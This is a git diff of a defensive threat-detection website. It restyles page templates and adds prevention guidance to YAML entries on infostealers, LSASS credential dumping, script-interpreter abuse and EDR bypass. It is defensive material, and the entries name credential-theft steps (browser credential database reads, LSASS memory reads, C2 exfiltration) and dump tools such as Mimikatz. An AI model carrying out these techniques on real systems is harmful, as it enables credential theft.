box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
}
.chokepoint-item:hover { border-color: rgba(240,136,62,.25); }
details.chokepoint-item[open] {
border-color: var(--accent);
box-shadow: 0 0 0 1px rgba(240,136,62,.25), 0 8px 24px rgba(0,0,0,.25);
}
details.chokepoint-item[open] { border-color: var(--accent); }
.chokepoint-header {
display: flex;
align-items: center;
gap: .75rem;
padding: .75rem 1rem;
padding: .85rem 1.1rem;
cursor: pointer;
user-select: none;
list-style: none;
transition: background .15s;
}
.chokepoint-header:hover { background: rgba(240,136,62,.04); }
.chokepoint-header::-webkit-details-marker { display: none; }
.cp-number {
@@ -126,13 +135,15 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
.cp-why-unavoidable {
background: rgba(218,54,51,.06);
border: 1px solid rgba(218,54,51,.2);
border-radius: 4px;
padding: .55rem .85rem;
border-left: 3px solid var(--critical);
border-radius: var(--radius-lg);
padding: .65rem .95rem;
margin: .6rem 0;
font-size: .78rem;
line-height: 1.5;
color: var(--text-muted);
font-style: italic;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.cp-why-label {
font-family: var(--font-mono);
@@ -149,12 +160,14 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
.cp-invariant {
background: rgba(240,136,62,.07);
border: 1px solid rgba(240,136,62,.2);
border-radius: 4px;
padding: .65rem .85rem;
border-left: 3px solid var(--accent);
border-radius: var(--radius-lg);
padding: .75rem .95rem;
margin: .75rem 0;
font-size: .82rem;
line-height: 1.5;
color: var(--text);
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.cp-invariant-label {
font-family: var(--font-mono);
@@ -186,14 +199,16 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
display: flex;
gap: .5rem;
align-items: flex-start;
background: rgba(227,179,65,.07);
border: 1px solid rgba(227,179,65,.2);
border-radius: 4px;
padding: .55rem .75rem;
background: rgba(227,179,65,.08);
border: 1px solid rgba(227,179,65,.25);
border-left: 3px solid var(--high);
border-radius: var(--radius-lg);
padding: .65rem .85rem;
margin-top: .75rem;
font-size: .78rem;
color: var(--text-muted);
line-height: 1.4;
line-height: 1.45;
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
}
.bypass-warning .warn-icon { color: var(--high); flex-shrink: 0; }
@@ -254,13 +269,14 @@ details.cp-true-positive[open] .cp-tp-chevron { transform: rotate(90deg); }
display: inline-flex;
align-items: center;
gap: .35rem;
background: rgba(240,136,62,.08);
border: 1px solid rgba(240,136,62,.25);
background: rgba(240,136,62,.1);
border: 1px solid rgba(240,136,62,.3);
border-radius: 20px;
padding: .25rem .75rem;
padding: .3rem .85rem;
font-family: var(--font-mono);
font-size: .68rem;
color: var(--accent);
box-shadow: 0 0 12px rgba(240,136,62,.12);
}
.connector-arrow { font-size: .75rem; }
@@ -285,21 +301,37 @@ details.cp-true-positive[open] .cp-tp-chevron { transform: rotate(90deg); }
.variant-item {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
transition: border-color .15s;
transition: border-color .2s, box-shadow .2s, transform .2s;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
}
.variant-item:hover {
border-color: rgba(240,136,62,.25);
transform: translateY(-1px);
box-shadow: 0 4px 16px rgba(0,0,0,.18);
}
details.variant-item[open] {
border-color: rgba(240,136,62,.35);
box-shadow: 0 0 0 1px rgba(240,136,62,.2), 0 8px 24px rgba(0,0,0,.2);
}
.variant-item:has(.status-active) { border-left: 3px solid rgba(63,185,80,.5); }
.variant-item:has(.status-emerging) { border-left: 3px solid rgba(240,136,62,.5); }
.variant-item:has(.status-declining) { border-left: 3px solid rgba(227,179,65,.5); }
.variant-item:has(.status-disrupted) { border-left: 3px solid rgba(218,54,51,.5); }
.variant-header {
display: flex;
align-items: center;
gap: .65rem;
padding: .65rem .85rem;
padding: .75rem .95rem;
cursor: pointer;
user-select: none;
list-style: none;
background: var(--bg-card);
transition: background .15s;
}
.variant-header:hover { background: rgba(240,136,62,.04); }
.variant-header::-webkit-details-marker { display: none; }
.variant-name { font-weight: 600; font-size: .85rem; flex: 1; }
@@ -367,11 +399,12 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
/* Lure preview iframe */
.variant-lure-preview {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
margin: .5rem 0 .75rem;
background: #fff;
position: relative;
box-shadow: 0 4px 16px rgba(0,0,0,0.2);
}
.variant-lure-preview iframe {
width: 100%;
@@ -502,9 +535,11 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
display: flex;
align-items: center;
gap: .65rem;
margin-bottom: .65rem;
padding-bottom: .4rem;
border-bottom: 1px solid var(--border);
margin-bottom: .75rem;
padding: .55rem .75rem;
background: rgba(240,136,62,.04);
border: 1px solid rgba(240,136,62,.15);
border-radius: var(--radius-lg);
}
.det-stage-num {
width: 22px;
@@ -531,23 +566,30 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
.det-rule-item {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
transition: border-color .15s;
transition: border-color .2s, box-shadow .2s, transform .2s;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
}
.det-rule-item:hover { border-color: rgba(240,136,62,.2); }
details.det-rule-item[open] {
border-color: var(--accent);
box-shadow: 0 0 0 1px rgba(240,136,62,.25), 0 8px 24px rgba(0,0,0,.22);
}
details.det-rule-item[open] { border-color: var(--accent); }
.det-rule-header {
display: flex;
align-items: center;
gap: .5rem;
padding: .6rem .85rem;
padding: .7rem .95rem;
cursor: pointer;
user-select: none;
list-style: none;
background: var(--bg-card);
flex-wrap: wrap;
transition: background .15s;
}
.det-rule-header:hover { background: rgba(240,136,62,.04); }
.det-rule-header::-webkit-details-marker { display: none; }
.det-rule-title {
@@ -592,14 +634,16 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
display: flex;
gap: .5rem;
align-items: flex-start;
background: rgba(227,179,65,.07);
border: 1px solid rgba(227,179,65,.2);
border-radius: 4px;
padding: .5rem .75rem;
background: rgba(227,179,65,.08);
border: 1px solid rgba(227,179,65,.25);
border-left: 3px solid var(--high);
border-radius: var(--radius-lg);
padding: .65rem .85rem;
margin-top: .75rem;
font-size: .78rem;
color: var(--text-muted);
line-height: 1.4;
line-height: 1.45;
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
}
.det-correlation-note .warn-icon { color: var(--high); flex-shrink: 0; }
@@ -654,10 +698,11 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
}
.det-meta-card {
background: var(--bg-card);
background: var(--bg);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: .65rem .85rem;
border-radius: var(--radius-lg);
padding: .75rem .95rem;
box-shadow: inset 0 1px 0 rgba(255,255,255,0.03);
}
.det-meta-label {
font-family: var(--font-mono);
@@ -676,9 +721,10 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
/* .sigma-block replaces .sigma-rule-block */
.sigma-block {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
margin-top: 1rem;
box-shadow: 0 4px 16px rgba(0,0,0,0.18), inset 0 1px 0 rgba(255,255,255,0.03);
}
/* .sigma-header replaces .sigma-rule-header */
@@ -693,41 +739,56 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
/* .sigma-btn replaces .btn-sm */
.sigma-btn {
background: none;
background: var(--bg-input);
border: 1px solid var(--border);
color: var(--text-muted);
font-family: var(--font-mono);
font-size: .65rem;
padding: .18rem .5rem;
border-radius: 3px;
padding: .22rem .55rem;
border-radius: 4px;
cursor: pointer;
text-decoration: none;
transition: color .15s, border-color .15s;
transition: color .15s, border-color .15s, background .15s, box-shadow .15s;
display: inline-flex;
align-items: center;
}
.sigma-btn:hover { color: var(--text); border-color: var(--border); text-decoration: none; }
.sigma-btn:hover {
color: var(--accent);
border-color: rgba(240,136,62,.4);
background: rgba(240,136,62,.06);
box-shadow: 0 0 0 1px rgba(240,136,62,.15);
text-decoration: none;
}
/* ── Raw Log Samples ─────────────────────────────────────────────── */
.log-samples { display: flex; flex-direction: column; gap: .4rem; }
.log-item {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
transition: border-color .2s, box-shadow .2s, transform .2s;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
}
.log-item:hover { border-color: rgba(240,136,62,.2); transform: translateY(-1px); }
details.log-item[open] {
border-color: rgba(240,136,62,.3);
box-shadow: 0 0 0 1px rgba(240,136,62,.15), 0 6px 20px rgba(0,0,0,.18);
}
.log-header {
display: flex;
align-items: center;
gap: .6rem;
padding: .55rem .85rem;
padding: .65rem .95rem;
cursor: pointer;
user-select: none;
list-style: none;
background: var(--bg-card);
flex-wrap: wrap;
transition: background .15s;
}
.log-header:hover { background: rgba(240,136,62,.04); }
.log-header::-webkit-details-marker { display: none; }
.log-eid {
@@ -774,20 +835,28 @@ details.log-item[open] .log-chevron { transform: rotate(90deg); }
/* ── Emulation ───────────────────────────────────────────────────── */
.emulation-wrapper {
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
box-shadow: 0 4px 16px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.03);
transition: border-color .2s, box-shadow .2s;
}
details.emulation-wrapper[open] {
border-color: rgba(240,136,62,.3);
box-shadow: 0 0 0 1px rgba(240,136,62,.15), 0 8px 24px rgba(0,0,0,.2);
}
.emulation-header {
display: flex;
align-items: center;
gap: .65rem;
padding: .65rem .85rem;
padding: .75rem .95rem;
background: var(--bg-card);
cursor: pointer;
user-select: none;
list-style: none;
transition: background .15s;
}
.emulation-header:hover { background: rgba(240,136,62,.04); }
.emulation-header::-webkit-details-marker { display: none; }
.emulation-attck {
@@ -840,6 +909,18 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
flex-shrink: 0;
}
.chokepoint-content .logic-block,
.chokepoint-content pre.logic-block {
background: #010409;
border: 1px solid var(--border);
border-radius: var(--radius-lg);
box-shadow: inset 0 1px 0 rgba(255,255,255,0.03);
}
.chokepoint-content .sigma-code,
.chokepoint-content pre.sigma-code {
background: #010409 !important;
}
.osint-desc { font-size: .78rem; color: var(--text-muted); line-height: 1.45; }
</style>
@@ -851,8 +932,46 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
</div>
{% else %}
<div class="chokepoint-layout max-w-[1100px] mx-auto px-6 py-10 pb-20">
<nav class="chokepoint-sidebar" id="chokepoint-nav">
<div class="cp-page-wrap">
<header class="cp-hero" id="overview">
<div class="cp-hero-inner max-w-[1100px] mx-auto px-6">
<div class="cp-hero-top">
<a href="{{ '/' | relative_url }}" class="cp-back-pill">&larr; All Chokepoints</a>
<span class="badge priority-{{ cp.DetectionPriority | downcase }}">{{ cp.DetectionPriority }}</span>
</div>
<h1 class="cp-hero-title">{{ cp.Name }}</h1>
{% if cp.TheConstant %}
<p class="cp-hero-constant">{{ cp.TheConstant }}</p>
{% endif %}
<div class="cp-hero-badges">
{% for tactic in cp.Tactics %}
<span class="badge tactic-badge">{{ tactic }}</span>
{% endfor %}
{% for mid in cp.MitreIds %}
<a class="badge mitre-badge"
href="https://attack.mitre.org/techniques/{{ mid | replace: '.', '/' }}/"
target="_blank" rel="noopener">{{ mid }}</a>
{% endfor %}
<span class="badge diff-badge">Detection difficulty: {{ cp.DetectionDifficulty }}</span>
<span class="badge prev-badge">Prevalence: {{ cp.ThreatPrevalence }}</span>
</div>
<p class="cp-hero-desc">{{ cp.Description }}</p>
<p class="cp-hero-byline">
By {{ cp.Author }} &middot; Updated {{ cp.LastUpdated }}
&middot; <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/{{ cp._source_path }}"
target="_blank" rel="noopener">View source YAML</a>
</p>
</div>
</header>
<div class="chokepoint-layout max-w-[1100px] mx-auto px-6 pt-8 pb-20">
<nav class="chokepoint-sidebar cp-sidebar-nav" id="chokepoint-nav">
<a href="#overview" class="sidebar-link active">Overview</a>
{% if cp.Chokepoints %}
<a href="#attack-chokepoints" class="sidebar-link">Chokepoints</a>
@@ -861,6 +980,9 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<a href="#variations" class="sidebar-link">Variations</a>
{% endif %}
<a href="#detection-strategy" class="sidebar-link">Detection</a>
{% if cp.PreventionSummary or cp.PreventionOpportunities %}
<a href="#prevention" class="sidebar-link">Prevention</a>
{% endif %}
{% if cp.RawLogs %}
<a href="#raw-logs" class="sidebar-link">Logs</a>
{% endif %}
@@ -876,47 +998,19 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
</nav>
<article class="chokepoint-content">
<!-- ── 1. Page Header ─────────────────────────────────────────── -->
<header class="detail-header mb-10" id="overview">
<div class="flex items-center gap-3 mb-4">
<a href="{{ '/' | relative_url }}" class="back-link text-sm">&larr; All Chokepoints</a>
<span class="badge priority-{{ cp.DetectionPriority | downcase }}">{{ cp.DetectionPriority }}</span>
</div>
<h1 class="detail-title text-[clamp(1.5rem,4vw,2.25rem)] font-extrabold leading-tight mb-3">
{{ cp.Name }}
</h1>
<div class="flex flex-wrap gap-2 mb-4">
{% for tactic in cp.Tactics %}
<span class="badge tactic-badge">{{ tactic }}</span>
{% endfor %}
{% for mid in cp.MitreIds %}
<a class="badge mitre-badge"
href="https://attack.mitre.org/techniques/{{ mid | replace: '.', '/' }}/"
target="_blank" rel="noopener">{{ mid }}</a>
{% endfor %}
<span class="badge diff-badge">Detection difficulty: {{ cp.DetectionDifficulty }}</span>
<span class="badge prev-badge">Prevalence: {{ cp.ThreatPrevalence }}</span>
</div>
<p class="detail-description text-[1.05rem] leading-relaxed max-w-[720px] mb-3">{{ cp.Description }}</p>
<p class="detail-byline">
By {{ cp.Author }} &middot; Updated {{ cp.LastUpdated }}
&middot; <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/{{ cp._source_path }}"
target="_blank" rel="noopener">View source YAML</a>
</p>
</header>
<!-- ── 2. Attack Chokepoints ──────────────────────────────────── -->
<section class="mb-10" id="attack-chokepoints">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">
Attack Chokepoints
{% if cp.Chokepoints %}
<span class="section-sub">{{ cp.Chokepoints | size }} invariant stage{% if cp.Chokepoints.size != 1 %}s{% endif %}</span>
{% endif %}
</h2>
<section class="cp-section-card" id="attack-chokepoints">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
</div>
<h2 class="cp-section-heading">
Attack Chokepoints
{% if cp.Chokepoints %}
<span class="section-sub">{{ cp.Chokepoints | size }} invariant stage{% if cp.Chokepoints.size != 1 %}s{% endif %}</span>
{% endif %}
</h2>
</div>
{% if cp.Chokepoints %}
@@ -1059,11 +1153,16 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<!-- ── 3. Variations ─────────────────────────────────────────── -->
{% if cp.Variations %}
<section class="mb-10" id="variations">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-2">
Variations
<span class="section-sub">{{ cp.Variations | size }} variant{% if cp.Variations.size != 1 %}s{% endif %} tracked</span>
</h2>
<section class="cp-section-card" id="variations">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 3h5v5"/><path d="M8 3H3v5"/><path d="M12 22v-8.3a4 4 0 0 0-1.172-2.872L3 3"/><path d="m15 9 6-6"/></svg>
</div>
<h2 class="cp-section-heading">
Variations
<span class="section-sub">{{ cp.Variations | size }} variant{% if cp.Variations.size != 1 %}s{% endif %} tracked</span>
</h2>
</div>
<p class="section-intro mb-4">Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.</p>
<div class="variations-list">
@@ -1155,8 +1254,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
{% endif %}
<!-- ── 4. Detection Strategy ─────────────────────────────────── -->
<section class="mb-10" id="detection-strategy">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">Detection Strategy</h2>
<section class="cp-section-card" id="detection-strategy">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg>
</div>
<h2 class="cp-section-heading">Detection Strategy</h2>
</div>
{% if cp.Chokepoints and cp.Chokepoints.size > 0 %}
{%- comment -%} ── Stage-grouped layout (new) ── {%- endcomment -%}
@@ -1496,12 +1600,62 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
</section>
<!-- ── 5. Raw Log Samples ─────────────────────────────────────── -->
<!-- ── Prevention Opportunities ──────────────────────────────────────────── -->
{% if cp.PreventionSummary or cp.PreventionOpportunities %}
<section class="cp-section-card" id="prevention">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>
</div>
<h2 class="cp-section-heading">Prevention Opportunities</h2>
</div>
{% if cp.PreventionSummary %}
<p class="section-intro mb-4">{{ cp.PreventionSummary }}</p>
{% endif %}
{% if cp.PreventionOpportunities %}
<div class="prevention-grid">
{% for opp in cp.PreventionOpportunities %}
<article class="prev-card">
<div class="prev-label">{{ opp.Category }}</div>
<h3 class="prev-title">{{ opp.Control }}</h3>
<p class="prev-body">{{ opp.Impact }}</p>
{% if opp.MagicSwordFit and site.magic_sword_enabled and site.magic_sword_affiliate_url %}
<div class="ms-chip">
<a href="{{ site.magic_sword_affiliate_url }}"
target="_blank" rel="noopener sponsored"
title="{{ opp.MagicSwordFit }}">
<img src="{{ site.magic_sword_logo_path }}" alt="" class="ms-chip-icon" width="10" height="10" />
<span class="ms-chip-label">MagicSword can help here</span>
</a>
</div>
{% endif %}
</article>
{% endfor %}
</div>
{% assign ms_opps = "" %}{% for opp in cp.PreventionOpportunities %}{% if opp.MagicSwordFit %}{% assign ms_opps = "yes" %}{% endif %}{% endfor %}
{% if site.magic_sword_enabled and site.magic_sword_affiliate_url and ms_opps == "yes" %}
<p class="ms-home-card-disclosure mt-3">
MagicSword links are affiliate links &mdash; we only link tools we'd recommend to defenders.
<a href="{{ site.magic_sword_affiliate_url }}" target="_blank" rel="noopener sponsored" class="ms-home-card-link">
Learn more about MagicSword &#8594;
</a>
</p>
{% endif %}
{% endif %}
</section>
{% endif %}
{% if cp.RawLogs %}
<section class="mb-10" id="raw-logs">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">
Raw Log Samples
<span class="section-sub">{{ cp.RawLogs.size }} sample{% if cp.RawLogs.size != 1 %}s{% endif %}</span>
</h2>
<section class="cp-section-card" id="raw-logs">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
</div>
<h2 class="cp-section-heading">
Raw Log Samples
<span class="section-sub">{{ cp.RawLogs.size }} sample{% if cp.RawLogs.size != 1 %}s{% endif %}</span>
</h2>
</div>
<p class="section-intro mb-4">Real-world log events produced by this technique and which Sigma rules they trigger.</p>
<div class="log-samples">
{% for log in cp.RawLogs %}
@@ -1521,9 +1675,14 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<!-- ── 6. Emulation ──────────────────────────────────────────── -->
{% if cp.EmulationScript and cp._emulation_content %}
<section class="mb-10" id="emulation">
<section class="cp-section-card" id="emulation">
{% assign emu = cp.EmulationScript %}
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-2">Emulation</h2>
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polygon points="13 2 3 14 12 14 11 22 21 10 12 10 13 2"/></svg>
</div>
<h2 class="cp-section-heading">Emulation</h2>
</div>
<details class="emulation-wrapper">
<summary class="emulation-header">
{% if emu.AtomicRef %}<span class="emulation-attck">ATT&amp;CK: {{ emu.AtomicRef }}</span>{% endif %}
@@ -1563,8 +1722,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<!-- ── 7. OSINT Pivots ────────────────────────────────────────── -->
{% if cp.OsintSources %}
<section class="mb-10" id="osint-pivots">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">OSINT Pivots</h2>
<section class="cp-section-card" id="osint-pivots">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
</div>
<h2 class="cp-section-heading">OSINT Pivots</h2>
</div>
<div class="osint-grid">
{% for src in cp.OsintSources %}
{% if src.URL %}
@@ -1585,8 +1749,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<!-- ── 8. Related Chokepoints ─────────────────────────────────── -->
{% if cp.RelatedChokepoints %}
<section class="mb-10" id="related">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">Related Chokepoints</h2>
<section class="cp-section-card" id="related">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"/><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"/></svg>
</div>
<h2 class="cp-section-heading">Related Chokepoints</h2>
</div>
<div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-3">
{% for slug in cp.RelatedChokepoints %}
{% assign related = site.data.chokepoints | where: "_slug", slug | first %}
@@ -1604,8 +1773,13 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
<!-- ── References ────────────────────────────────────────────── -->
{% if cp.References %}
<section class="mb-10">
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">References</h2>
<section class="cp-section-card">
<div class="cp-section-heading-row">
<div class="cp-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 19.5A2.5 2.5 0 0 1 6.5 17H20"/><path d="M6.5 2H20v20H6.5A2.5 2.5 0 0 1 4 19.5v-15A2.5 2.5 0 0 1 6.5 2z"/></svg>
</div>
<h2 class="cp-section-heading">References</h2>
</div>
<ul class="ref-list flex flex-col gap-1.5">
{% for ref in cp.References %}
<li><a href="{{ ref }}" target="_blank" rel="noopener">{{ ref }}</a></li>
@@ -1617,6 +1791,8 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
</article>
</div>
</div><!-- /.cp-page-wrap -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/languages/yaml.min.js"></script>
+6
View File
@@ -39,6 +39,12 @@
<a href="https://attack.mitre.org/" target="_blank" rel="noopener">MITRE ATT&amp;CK</a>
</span>
</div>
{% if site.magic_sword_enabled and site.magic_sword_affiliate_url %}
<div class="footer-disclosure max-w-[1280px] mx-auto mt-3 px-0" style="font-size:.7rem;color:var(--text-dim);font-style:italic;">
Some links on this site (marked with &#8594; or labeled MagicSword) are affiliate links.
We only link tools we would recommend to defenders regardless of any affiliate relationship.
</div>
{% endif %}
</footer>
<script>
+1 -1
View File
@@ -16,7 +16,7 @@ permalink: /attack-chains/
</div>
</section>
<div class="max-w-[1280px] mx-auto px-6 py-10">
<div style="max-width:1100px;margin:0 auto;padding:2.5rem 1.5rem 4rem;">
<!-- Section 1: Why Map Attack Chains -->
<div class="ac-why-section">
@@ -779,3 +779,23 @@ EmulationScript:
SafetyNotes: Run in an isolated lab VM only. Creates temporary files and outbound network activity.
AtomicRef: T1555.003
TheConstant: Stealer process → Login Data / logins.json file read → CryptUnprotectData() / NSS3 → C2 exfiltration
PreventionSummary: >
Prevention focuses on blocking the initial code execution that delivers the stealer and
enforcing MFA so stolen credentials cannot be replayed. Controlling which browser extensions
are permitted removes a harvesting class that bypasses file-access monitoring entirely.
PreventionOpportunities:
- Category: Endpoint
Control: Block execution of binaries downloaded to Temp or Downloads directories
Impact: Prevents infostealers from running before they touch credential databases; effective
regardless of stealer family or App-Bound Encryption bypass technique.
- Category: Identity
Control: Enforce phishing-resistant MFA (FIDO2 / hardware keys) on all sensitive applications
Impact: Stolen passwords and session cookies have limited replay value; removes the primary
incentive for credential theft campaigns targeting enterprise accounts.
- Category: Endpoint · Application Control
Control: Restrict unauthorized browser extensions across your fleet
Impact: Eliminates extension-based credential harvesting, which bypasses file-access
monitoring entirely and is invisible to most host-based detection telemetry.
MagicSwordFit: MagicSword can enforce browser extension allow-lists, blocking unauthorized
extensions that harvest credentials directly through the browser's own APIs.
MagicSwordTag: browser-extensions
@@ -895,3 +895,21 @@ RawLogs:
'
TheConstant: A process must open a kernel-mediated handle to lsass.exe and read its virtual memory to extract credential material
PreventionSummary: >
Credential Guard and Protected Process Light (PPL) protect LSASS at the kernel level,
making it significantly harder to read credential material even with admin rights.
Enforcing MFA and tiered admin accounts limits the value of credentials that are dumped.
PreventionOpportunities:
- Category: Endpoint
Control: Enable Windows Credential Guard (VBS-based LSASS protection)
Impact: Moves NTLM hashes and Kerberos tickets into an isolated VBS enclave, preventing
even SYSTEM-privileged processes from reading them via memory access techniques.
- Category: Endpoint
Control: Enable LSASS Protected Process Light (PPL) via registry or Defender for Endpoint
Impact: Forces attackers to use a signed, kernel-level driver to open an LSASS handle,
eliminating most usermode dump tools (Mimikatz, ProcDump, comsvcs.dll MiniDump).
- Category: Identity
Control: Eliminate plaintext credential exposure — disable WDigest, enforce Kerberos only
for sensitive services, and rotate credentials regularly
Impact: Reduces the value of dumped hashes; without NTLM or plaintext credentials, pass-
the-hash and pass-the-ticket attacks are significantly constrained.
@@ -423,3 +423,24 @@ References:
- https://www.csoonline.com/article/575475/attackers-use-python-compiled-bytecode-to-evade-detection.html
TheConstant: Non-default interpreter binary written to disk → interpreter process launched → attacker-controlled script executes malicious action
PreventionSummary: >
Controlling which scripting interpreters are permitted to execute on endpoints breaks the
BYOSI chain before attacker-controlled scripts have a chance to run. Non-default interpreters
written to TEMP or AppData paths are a reliable pre-execution signal to block.
PreventionOpportunities:
- Category: Endpoint · Application Control
Control: Allow-list only approved interpreter versions for each endpoint role
Impact: Prevents malicious scripts from executing even when the interpreter binary is
legitimately signed, because only authorized interpreter paths and versions are permitted.
MagicSwordFit: MagicSword's application control can block non-approved Python, Node.js,
PHP, and AutoHotKey binaries — especially those written to non-standard paths like TEMP
or AppData — before they execute any scripts.
MagicSwordTag: lolbas
- Category: Endpoint
Control: Alert on interpreter binaries written to TEMP, Downloads, or AppData by non-IT processes
Impact: Catches the disk-write chokepoint before execution; gives defenders a pre-execution
window to investigate and kill the chain.
- Category: Network
Control: Block interpreter downloads from CDNs on non-developer endpoints via web proxy
Impact: Prevents delivery of non-standard interpreters to high-risk endpoints; forces
attackers to use other staging mechanisms that are easier to detect.
@@ -654,3 +654,27 @@ EmulationScript:
'
AtomicRef: T1562.001
TheConstant: Admin/SYSTEM privileges → bypass mechanism → security telemetry impaired
PreventionSummary: >
EDR bypass tools are themselves dual-use binaries that can be blocked before they reach the
security stack. Blocking vulnerable driver loads and known EDR-killer binaries at the policy
layer is the complementary control that EDR cannot provide for itself.
PreventionOpportunities:
- Category: Endpoint · Application Control
